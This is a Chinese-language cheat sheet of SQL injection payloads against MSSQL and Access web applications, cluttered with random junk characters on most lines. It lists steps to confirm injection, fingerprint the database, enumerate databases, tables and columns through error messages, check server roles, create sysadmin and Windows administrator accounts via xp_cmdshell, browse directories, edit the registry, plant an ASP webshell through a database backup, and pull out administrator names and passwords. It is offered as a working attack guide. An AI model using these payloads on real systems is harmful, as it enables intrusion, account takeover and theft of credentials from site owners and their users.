1.判断是否有注入 : K6 ~, _: E3 r6 |9 c ]
;and 1=1
0 e% K- m( `4 y& W3 @: V;and 1=2
* s# h# M3 V/ c7 e2 Q* V
; H5 [+ Z: p Q2 {2.初步判断是否是mssql
5 k; u& a' Z( s& g* U0 ];and user>0
% @/ K0 u: L, _; w3 }! ^! S; H: E
3.判断数据库系统 & {7 a2 N) c& ]8 w- O% c% x
;and (select count(*) from sysobjects)>0 mssql
1 x7 L# |' n+ m% n2 \+ O; l6 g;and (select count(*) from msysobjects)>0 access $ J1 p1 {% k: ?/ J, U0 _
& F0 o% j0 H$ ~4 ?2 K- K b }
4.注入参数是字符
6 @- Y/ ^ C3 O4 p# ]+ D5 c* J/ l'and [查询条件] and ''='
6 G) k+ Z: L# S/ T1 l% ]; V& A3 r, w6 [1 F' N3 v& C. z. z$ N& {
5.搜索时没过滤参数的 1 o! g# V6 Z2 C+ A, O
'and [查询条件] and '%25'=' $ D8 S% y# w+ R4 b. v( a2 L
0 E( x9 q+ K) Y1 K5 o6.猜数表名 / b2 M% u+ q- V
;and (select Count(*) from [表名])>0
+ ?9 {$ u' c l" w! Z, @7 V, ^! H. |
7.猜字段 : @' f( D& G( ?) X: Y3 P
;and (select Count(字段名) from 表名)>0 - B* D- U( j: R" f( R
k) b; E8 [) u4 \8.猜字段中记录长度
+ x) C; a) S; f+ H0 ?;and (select top 1 len(字段名) from 表名)>0 : a6 v1 Q6 _9 m- ]1 s
* c) l/ _9 E' ?
9.(1)猜字段的ascii值(access) ) D5 m: s" B" A/ a8 K
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 \! Y1 H* [- G8 W4 n
' f3 m; v: ]! S1 `" n3 ]1 d! ]
(2)猜字段的ascii值(mssql) / F* D# l ~$ b9 k- x" A! X
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
' F& q. `3 w6 B5 h; G/ \0 {0 V; g. V; ~5 P, @/ I
10.测试权限结构(mssql)
3 t: T; X% ?9 G0 k2 S- A0 \;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
: V; `! r/ n* V; V: ]( X. [;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ; e6 F6 l6 g' m" B/ t
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
; |5 D& R+ Y5 X;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
; h# y1 l6 N8 T% _- S- l8 m;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 0 K% s0 p2 l1 ^ g- R+ a
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
: U4 \3 J- k- k* z9 K5 [5 d. h;and 1=(select IS_MEMBER('db_owner'));-- - i% d% `" U7 d
! J8 c& q9 t. g5 m. p! [5 z11.添加mssql和系统的帐户
. Q6 R( H3 ?- [; ~! u/ w0 A;exec master.dbo.sp_addlogin username;--
% b+ C; g S; A8 g# k( q;exec master.dbo.sp_password null,username,password;-- 0 x. {% n0 @8 Y: u1 R, m7 T% n2 u9 u0 @
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 7 U1 M% z; T* g( _' P3 ]
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
9 m2 M( h& w! f9 J;exec master.dbo.xp_cmdshell 'net user username password /add';--
" D: t( o6 Y! P9 F$ M;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
8 L# o2 z3 x8 V* v7 C* {3 g& F7 M7 w' q, } r) ?% G
12.(1)遍历目录 & r: m- u o8 W
;create table dirs(paths varchar(100), id int)
, Z4 a; ? q; R+ K4 q' i;insert dirs exec master.dbo.xp_dirtree 'c:\'
# g2 N, X' c$ U4 F- x;and (select top 1 paths from dirs)>0 4 z+ Q( c' m/ I/ z) N
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
& }* q0 f. r" J. o8 d& v- c& y
7 j* o" T# S! y2 |2 O9 N(2)遍历目录 * b; L& n w/ C2 W
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
% l0 ]3 W# s2 ]% a9 L$ A$ o- _;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 4 \* p, ^7 F9 E* @
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 + G% h2 l- b$ |' l( s, L) {
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
8 i7 a2 i+ r8 {' n! H# _3 |;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
) [$ E+ y$ G0 `$ F) H% ?3 H
) X9 k# L6 l: Y0 s13.mssql中的存储过程 ( p2 s4 |4 g4 D
xp_regenumvalues 注册表根键, 子键 1 v) k- z% z q8 o
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 " c6 ~6 E3 U* U" F, J5 P F
xp_regread 根键,子键,键值名
! u$ |( [" F/ \. t1 M;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 4 j# m: U6 z2 O7 Q- Z! }
xp_regwrite 根键,子键, 值名, 值类型, 值 ' h% n' \, Q* r- s" C1 b( K4 ?
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
- N: P- Q# f2 ^# Z. _" c9 U;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
. I3 T7 l) v, e( }/ Jxp_regdeletevalue 根键,子键,值名
: I, y7 Z9 p% t8 dexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
, g. G* H' B6 C5 `; F1 T/ T, Hxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
& l4 L% k$ _3 ^( y* E* _; {7 B M1 p* y6 c
14.mssql的backup创建webshell - W& r5 l% x" X& ] R$ {
use model
6 X) D) I% t9 j. Gcreate table cmd(str image);
T) o% c! W {$ k1 g- finsert into cmd(str) values ('<% Dim oScript %>');
+ C! f; K: P1 T1 c9 A: Tbackup database model to disk='c:\l.asp';
" Z5 a0 `) ~% i; n
7 W/ t1 ~ w( x( i/ L3 }15.mssql内置函数
2 Y. o8 r$ g7 J;and (select @@version)>0 获得Windows的版本号
% H l$ N+ ^4 t* D2 g4 r5 s: @- |;and user_name()='dbo' 判断当前系统的连接用户是不是sa
0 K) r& {+ R. H3 b, O;and (select user_name())>0 爆当前系统的连接用户 . _; o0 {) v4 ~: R' i
;and (select db_name())>0 得到当前连接的数据库 * g6 Z+ U [, {4 e% `
" ~; n1 u# H# v* Y, `* l6 @0 y j
- _% A: L' c* T" e- U
# W/ E& Z! n. F! B. a
MSSQL手注暴库- D; Q! p2 ^& C. x8 R# `0 H3 k
! O4 Q4 S, B! A' o# D; c
1.暴出当前表名和列名
8 y) s3 R; l# e; I0 S在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
& t3 E; D8 r, c# ], U2 B" `# R p
Q, l" M: w) g0 w; b4 _8 C X第一.爆出所有数据库名
- s+ R. d& H. `. N. o+ h利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
4 l/ ~3 J. `9 j) L6 ?6 X9 C6 ], Z第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
' M# W5 a& I1 A$ N; R% H5 _: o! D. O9 n! w
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名
# a, ]: E3 `6 J4 y8 q, i
) r$ N7 r- U& w+ o. q5 R5 w3 O
8 \# O* w! ]6 t3 d/ L, l/ y第二.爆出指定库中的所有表名
3 k0 d* G& c( r3 F& {$ r8 K得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。2 e# j" x+ P# F! T6 P. g
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。, l; ?8 N& l' F$ M9 _4 y! y3 c
2 R! y7 G; z& B- }1 d `6 l% \+ p
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
: `% f) \& B+ E! K7 A1 G3 Y% oand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--' B& e/ R! m- w+ l4 O, f7 h/ ~
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--* O- D: P% J: Z: _7 M. N
5 N* h: I0 R- `4 s
4.爆出指定表中的所有列名
~* m, X& b1 Z+ `" @and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 0 p3 e2 c0 O2 S/ S) p9 y3 Z
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'
" I) ]& s0 x3 D" A2 `% _/ t
/ l% s- f+ a; X8 [1 D2 i3 X0 mand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名
% `! K4 y" W) v7 v4 N
& z2 M5 d. F E$ E) d& y8 X/ ?' p7 O再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- & ~& N: x. }8 b* I3 i1 E
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
5 ~" q9 A1 i Y2 c
0 ^; w* b5 |4 I
6 {. r# U& b0 d6 aand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值/ }* |- N% \1 x( |1 f8 {/ X' X& w
2 D9 b. n2 l4 o* a. n" U
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
* q- Z/ N; F6 ?$ o3 e1 H" V
G# | g1 a* k% Yand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- 3 z0 b- x; \3 z1 P
* V, S7 r) f& p0 A% ^" u p
+ @5 {9 R$ V+ I3 U) F8 P, Z. t! v- G7 U( g
5.读取指定表中的数据( \' P- E5 s, ~! x8 } i0 x
% z: ~9 h' W* n' {. Z
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
1 W7 K( w2 x( a$ M. n
3 R' U* }' w2 O" pand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
" O, o3 F1 T2 e9 L) A, J: H2 U, v) J8 H! h+ I2 v6 z& E: e$ {
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
( V6 V H$ [! Y( H
4 j8 K; j. [- K8 s8 P3 h" C, W" f4 U3 c1 D
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)6 S3 ?# l& V4 ^
" S7 @& N/ p' [+ f& u4 D% V
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
+ {' P7 v4 U, A! d9 j7 t! S" V8 m g6 c" J0 R$ v& _
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
" R" K7 Q4 p5 X2 e7 s- R# i" e2 {9 l5 t* a
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。: Y1 {8 I2 K* [3 A# [
|